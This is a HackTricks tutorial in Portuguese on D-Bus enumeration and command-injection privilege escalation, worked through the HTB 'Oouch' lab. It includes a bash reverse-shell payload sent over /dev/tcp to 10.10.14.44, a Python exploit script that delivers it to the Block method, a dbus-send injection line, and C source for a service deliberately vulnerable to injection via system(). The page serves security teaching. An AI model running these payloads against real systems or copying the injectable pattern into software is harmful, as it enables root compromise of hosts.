# D-Bus Enumeration & Command Injection Privilege Escalation {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## **GUI enumeration** D-Bus é utilizado como o mediador de comunicações entre processos (IPC) em ambientes de desktop Ubuntu. No Ubuntu, a operação simultânea de vários barramentos de mensagens é observada: o barramento do sistema, utilizado principalmente por **serviços privilegiados para expor serviços relevantes em todo o sistema**, e um barramento de sessão para cada usuário logado, expondo serviços relevantes apenas para aquele usuário específico. O foco aqui está principalmente no barramento do sistema devido à sua associação com serviços que operam com privilégios mais altos (por exemplo, root), já que nosso objetivo é elevar privilégios. Nota-se que a arquitetura do D-Bus emprega um 'roteador' por barramento de sessão, que é responsável por redirecionar mensagens de clientes para os serviços apropriados com base no endereço especificado pelos clientes para o serviço com o qual desejam se comunicar. Os serviços no D-Bus são definidos pelos **objetos** e **interfaces** que expõem. Objetos podem ser comparados a instâncias de classe em linguagens OOP padrão, com cada instância identificada de forma única por um **caminho de objeto**. Este caminho, semelhante a um caminho de sistema de arquivos, identifica de forma única cada objeto exposto pelo serviço. Uma interface chave para fins de pesquisa é a interface **org.freedesktop.DBus.Introspectable**, que possui um único método, Introspect. Este método retorna uma representação XML dos métodos, sinais e propriedades suportados pelo objeto, com foco aqui nos métodos enquanto omite propriedades e sinais. Para comunicação com a interface D-Bus, duas ferramentas foram empregadas: uma ferramenta CLI chamada **gdbus** para fácil invocação de métodos expostos pelo D-Bus em scripts, e [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), uma ferramenta GUI baseada em Python projetada para enumerar os serviços disponíveis em cada barramento e exibir os objetos contidos em cada serviço. ```bash sudo apt-get install d-feet ``` ![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png) ![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png) Na primeira imagem, os serviços registrados com o barramento de sistema D-Bus são mostrados, com **org.debin.apt** especificamente destacado após selecionar o botão System Bus. O D-Feet consulta este serviço por objetos, exibindo interfaces, métodos, propriedades e sinais para objetos escolhidos, vistos na segunda imagem. A assinatura de cada método também é detalhada. Uma característica notável é a exibição do **ID do processo (pid)** e da **linha de comando** do serviço, útil para confirmar se o serviço é executado com privilégios elevados, importante para a relevância da pesquisa. **O D-Feet também permite a invocação de métodos**: os usuários podem inserir expressões Python como parâmetros, que o D-Feet converte em tipos D-Bus antes de passar para o serviço. No entanto, observe que **alguns métodos requerem autenticação** antes de permitir que os invoquemos. Ignoraremos esses métodos, uma vez que nosso objetivo é elevar nossos privilégios sem credenciais em primeiro lugar. Também note que alguns dos serviços consultam outro serviço D-Bus chamado org.freedeskto.PolicyKit1 se um usuário deve ser autorizado a realizar certas ações ou não. ## **Enumeração de Linha de Comando** ### Listar Objetos de Serviço É possível listar interfaces D-Bus abertas com: ```bash busctl list #List D-Bus interfaces NAME PID PROCESS USER CONNECTION UNIT SE :1.0 1 systemd root :1.0 init.scope - :1.1345 12817 busctl qtc :1.1345 session-729.scope 72 :1.2 1576 systemd-timesyn systemd-timesync :1.2 systemd-timesyncd.service - :1.3 2609 dbus-server root :1.3 dbus-server.service - :1.4 2606 wpa_supplicant root :1.4 wpa_supplicant.service - :1.6 2612 systemd-logind root :1.6 systemd-logind.service - :1.8 3087 unattended-upgr root :1.8 unattended-upgrades.serv… - :1.820 6583 systemd qtc :1.820 user@1000.service - com.ubuntu.SoftwareProperties - - - (activatable) - - fi.epitest.hostap.WPASupplicant 2606 wpa_supplicant root :1.4 wpa_supplicant.service - fi.w1.wpa_supplicant1 2606 wpa_supplicant root :1.4 wpa_supplicant.service - htb.oouch.Block 2609 dbus-server root :1.3 dbus-server.service - org.bluez - - - (activatable) - - org.freedesktop.DBus 1 systemd root - init.scope - org.freedesktop.PackageKit - - - (activatable) - - org.freedesktop.PolicyKit1 - - - (activatable) - - org.freedesktop.hostname1 - - - (activatable) - - org.freedesktop.locale1 - - - (activatable) - - ``` #### Conexões [Do wikipedia:](https://en.wikipedia.org/wiki/D-Bus) Quando um processo estabelece uma conexão com um barramento, o barramento atribui à conexão um nome de barramento especial chamado _nome de conexão único_. Nomes de barramento desse tipo são imutáveis—é garantido que não mudarão enquanto a conexão existir—e, mais importante, não podem ser reutilizados durante a vida útil do barramento. Isso significa que nenhuma outra conexão a esse barramento terá um nome de conexão único atribuído, mesmo que o mesmo processo feche a conexão com o barramento e crie uma nova. Nomes de conexão únicos são facilmente reconhecíveis porque começam com o caractere de dois pontos—de outra forma proibido. ### Informações do Objeto de Serviço Então, você pode obter algumas informações sobre a interface com: ```bash busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface PID=2609 PPID=1 TTY=n/a UID=0 EUID=0 SUID=0 FSUID=0 GID=0 EGID=0 SGID=0 FSGID=0 SupplementaryGIDs= Comm=dbus-server CommandLine=/root/dbus-server Label=unconfined CGroup=/system.slice/dbus-server.service Unit=dbus-server.service Slice=system.slice UserUnit=n/a UserSlice=n/a Session=n/a AuditLoginUID=n/a AuditSessionID=n/a UniqueName=:1.3 EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search cap_fowner cap_fsetid cap_kill cap_setgid cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config cap_mknod cap_lease cap_audit_write cap_audit_control cap_setfcap cap_mac_override cap_mac_admin cap_syslog cap_wake_alarm cap_block_suspend cap_audit_read PermittedCapabilities=cap_chown cap_dac_override cap_dac_read_search cap_fowner cap_fsetid cap_kill cap_setgid cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config cap_mknod cap_lease cap_audit_write cap_audit_control cap_setfcap cap_mac_override cap_mac_admin cap_syslog cap_wake_alarm cap_block_suspend cap_audit_read InheritableCapabilities= BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search cap_fowner cap_fsetid cap_kill cap_setgid cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config cap_mknod cap_lease cap_audit_write cap_audit_control cap_setfcap cap_mac_override cap_mac_admin cap_syslog cap_wake_alarm cap_block_suspend cap_audit_read ``` ### List Interfaces of a Service Object Você precisa ter permissões suficientes. ```bash busctl tree htb.oouch.Block #Get Interfaces of the service object └─/htb └─/htb/oouch └─/htb/oouch/Block ``` ### Introspect Interface of a Service Object Note como neste exemplo foi selecionada a interface mais recente descoberta usando o parâmetro `tree` (_veja a seção anterior_): ```bash busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface NAME TYPE SIGNATURE RESULT/VALUE FLAGS htb.oouch.Block interface - - - .Block method s s - org.freedesktop.DBus.Introspectable interface - - - .Introspect method - s - org.freedesktop.DBus.Peer interface - - - .GetMachineId method - s - .Ping method - - - org.freedesktop.DBus.Properties interface - - - .Get method ss v - .GetAll method s a{sv} - .Set method ssv - - .PropertiesChanged signal sa{sv}as - - ``` Note o método `.Block` da interface `htb.oouch.Block` (a que nos interessa). O "s" das outras colunas pode significar que está esperando uma string. ### Interface de Monitoramento/Captura Com privilégios suficientes (apenas os privilégios `send_destination` e `receive_sender` não são suficientes) você pode **monitorar uma comunicação D-Bus**. Para **monitorar** uma **comunicação** você precisará ser **root.** Se você ainda encontrar problemas sendo root, verifique [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) e [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) {% hint style="warning" %} Se você sabe como configurar um arquivo de configuração D-Bus para **permitir que usuários não root capturem** a comunicação, por favor **entre em contato comigo**! {% endhint %} Diferentes maneiras de monitorar: ```bash sudo busctl monitor htb.oouch.Block #Monitor only specified sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see ``` No exemplo a seguir, a interface `htb.oouch.Block` é monitorada e **a mensagem "**_**lalalalal**_**" é enviada através de uma má comunicação**: ```bash busctl monitor htb.oouch.Block Monitoring bus message stream. ‣ Type=method_call Endian=l Flags=0 Version=1 Priority=0 Cookie=2 Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block UniqueName=:1.1376 MESSAGE "s" { STRING "lalalalal"; }; ‣ Type=method_return Endian=l Flags=1 Version=1 Priority=0 Cookie=16 ReplyCookie=2 Sender=:1.3 Destination=:1.1376 UniqueName=:1.3 MESSAGE "s" { STRING "Carried out :D"; }; ``` Você pode usar `capture` em vez de `monitor` para salvar os resultados em um arquivo pcap. #### Filtrando todo o ruído Se houver informações demais no barramento, passe uma regra de correspondência assim: ```bash dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'" ``` Várias regras podem ser especificadas. Se uma mensagem corresponder a _qualquer_ uma das regras, a mensagem será impressa. Assim: ```bash dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends" ``` ```bash dbus-monitor "type=method_call" "type=method_return" "type=error" ``` Veja a [documentação do D-Bus](http://dbus.freedesktop.org/doc/dbus-specification.html) para mais informações sobre a sintaxe da regra de correspondência. ### Mais `busctl` tem ainda mais opções, [**encontre todas elas aqui**](https://www.freedesktop.org/software/systemd/man/busctl.html). ## **Cenário Vulnerável** Como usuário **qtc dentro do host "oouch" do HTB**, você pode encontrar um **arquivo de configuração D-Bus inesperado** localizado em _/etc/dbus-1/system.d/htb.oouch.Block.conf_: ```xml ``` Nota da configuração anterior que **você precisará ser o usuário `root` ou `www-data` para enviar e receber informações** através desta comunicação D-BUS. Como usuário **qtc** dentro do contêiner docker **aeb4525789d8**, você pode encontrar algum código relacionado ao dbus no arquivo _/code/oouch/routes.py._ Este é o código interessante: ```python if primitive_xss.search(form.textfield.data): bus = dbus.SystemBus() block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block') block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block') client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr) response = block_iface.Block(client_ip) bus.close() return render_template('hacker.html', title='Hacker') ``` Como você pode ver, está **conectando a uma interface D-Bus** e enviando para a **função "Block"** o "client\_ip". Do outro lado da conexão D-Bus, há um binário compilado em C em execução. Este código está **ouvindo** na conexão D-Bus **por endereços IP e chamando iptables via função `system`** para bloquear o endereço IP fornecido.\ **A chamada para `system` é vulnerável intencionalmente a injeção de comandos**, então um payload como o seguinte criará um shell reverso: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #` ### Explore-o No final desta página, você pode encontrar o **código C completo da aplicação D-Bus**. Dentro dele, você pode encontrar entre as linhas 91-97 **como o `caminho do objeto D-Bus`** **e `nome da interface`** são **registrados**. Esta informação será necessária para enviar informações para a conexão D-Bus: ```c /* Install the object */ r = sd_bus_add_object_vtable(bus, &slot, "/htb/oouch/Block", /* interface */ "htb.oouch.Block", /* service object */ block_vtable, NULL); ``` Além disso, na linha 57 você pode encontrar que **o único método registrado** para esta comunicação D-Bus é chamado `Block`(_**É por isso que na seção seguinte os payloads serão enviados para o objeto de serviço `htb.oouch.Block`, a interface `/htb/oouch/Block` e o nome do método `Block`**_): ```c SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), ``` #### Python O seguinte código python enviará a carga útil para a conexão D-Bus para o método `Block` via `block_iface.Block(runme)` (_note que foi extraído do bloco de código anterior_): ```python import dbus bus = dbus.SystemBus() block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block') block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block') runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #" response = block_iface.Block(runme) bus.close() ``` #### busctl e dbus-send ```bash dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #' ``` * `dbus-send` é uma ferramenta usada para enviar mensagens para o “Message Bus” * Message Bus – Um software usado pelos sistemas para facilitar a comunicação entre aplicações. Está relacionado ao Message Queue (as mensagens são ordenadas em sequência), mas no Message Bus as mensagens são enviadas em um modelo de assinatura e também muito rapidamente. * A tag “-system” é usada para mencionar que é uma mensagem do sistema, não uma mensagem de sessão (por padrão). * A tag “–print-reply” é usada para imprimir nossa mensagem de forma apropriada e receber quaisquer respostas em um formato legível por humanos. * “–dest=Dbus-Interface-Block” O endereço da interface Dbus. * “–string:” – Tipo de mensagem que gostaríamos de enviar para a interface. Existem vários formatos de envio de mensagens, como double, bytes, booleans, int, objpath. Dentre estes, o “object path” é útil quando queremos enviar um caminho de um arquivo para a interface Dbus. Podemos usar um arquivo especial (FIFO) neste caso para passar um comando para a interface em nome de um arquivo. “string:;” – Isso é para chamar o caminho do objeto novamente onde colocamos o arquivo/comando de shell reverso FIFO. _Observe que em `htb.oouch.Block.Block`, a primeira parte (`htb.oouch.Block`) refere-se ao objeto de serviço e a última parte (`.Block`) refere-se ao nome do método._ ### C code {% code title="d-bus_server.c" %} ```c //sudo apt install pkgconf //sudo apt install libsystemd-dev //gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd` #include #include #include #include #include #include static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) { char* host = NULL; int r; /* Read the parameters */ r = sd_bus_message_read(m, "s", &host); if (r < 0) { fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r)); return r; } char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP"; int command_len = strlen(command); int host_len = strlen(host); char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char)); if(command_buffer == NULL) { fprintf(stderr, "Failed to allocate memory\n"); return -1; } sprintf(command_buffer, command, host); /* In the first implementation, we simply ran command using system(), since the expected DBus * to be threading automatically. However, DBus does not thread and the application will hang * forever if some user spawns a shell. Thefore we need to fork (easier than implementing real * multithreading) */ int pid = fork(); if ( pid == 0 ) { /* Here we are in the child process. We execute the command and eventually exit. */ system(command_buffer); exit(0); } else { /* Here we are in the parent process or an error occured. We simply send a genric message. * In the first implementation we returned separate error messages for success or failure. * However, now we cannot wait for results of the system call. Therefore we simply return * a generic. */ return sd_bus_reply_method_return(m, "s", "Carried out :D"); } r = system(command_buffer); } /* The vtable of our little object, implements the net.poettering.Calculator interface */ static const sd_bus_vtable block_vtable[] = { SD_BUS_VTABLE_START(0), SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), SD_BUS_VTABLE_END }; int main(int argc, char *argv[]) { /* * Main method, registeres the htb.oouch.Block service on the system dbus. * * Paramaters: * argc (int) Number of arguments, not required * argv[] (char**) Argument array, not required * * Returns: * Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive * as long as the user keeps it alive. */ /* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */ signal(SIGCHLD,SIG_IGN); sd_bus_slot *slot = NULL; sd_bus *bus = NULL; int r; /* First we need to connect to the system bus. */ r = sd_bus_open_system(&bus); if (r < 0) { fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r)); goto finish; } /* Install the object */ r = sd_bus_add_object_vtable(bus, &slot, "/htb/oouch/Block", /* interface */ "htb.oouch.Block", /* service object */ block_vtable, NULL); if (r < 0) { fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r)); goto finish; } /* Register the service name to find out object */ r = sd_bus_request_name(bus, "htb.oouch.Block", 0); if (r < 0) { fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r)); goto finish; } /* Infinite loop to process the client requests */ for (;;) { /* Process requests */ r = sd_bus_process(bus, NULL); if (r < 0) { fprintf(stderr, "Failed to process bus: %s\n", strerror(-r)); goto finish; } if (r > 0) /* we processed a request, try to process another one, right-away */ continue; /* Wait for the next request to process */ r = sd_bus_wait(bus, (uint64_t) -1); if (r < 0) { fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r)); goto finish; } } finish: sd_bus_slot_unref(slot); sd_bus_unref(bus); return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS; } ``` {% endcode %} ## Referências * [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/) {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %}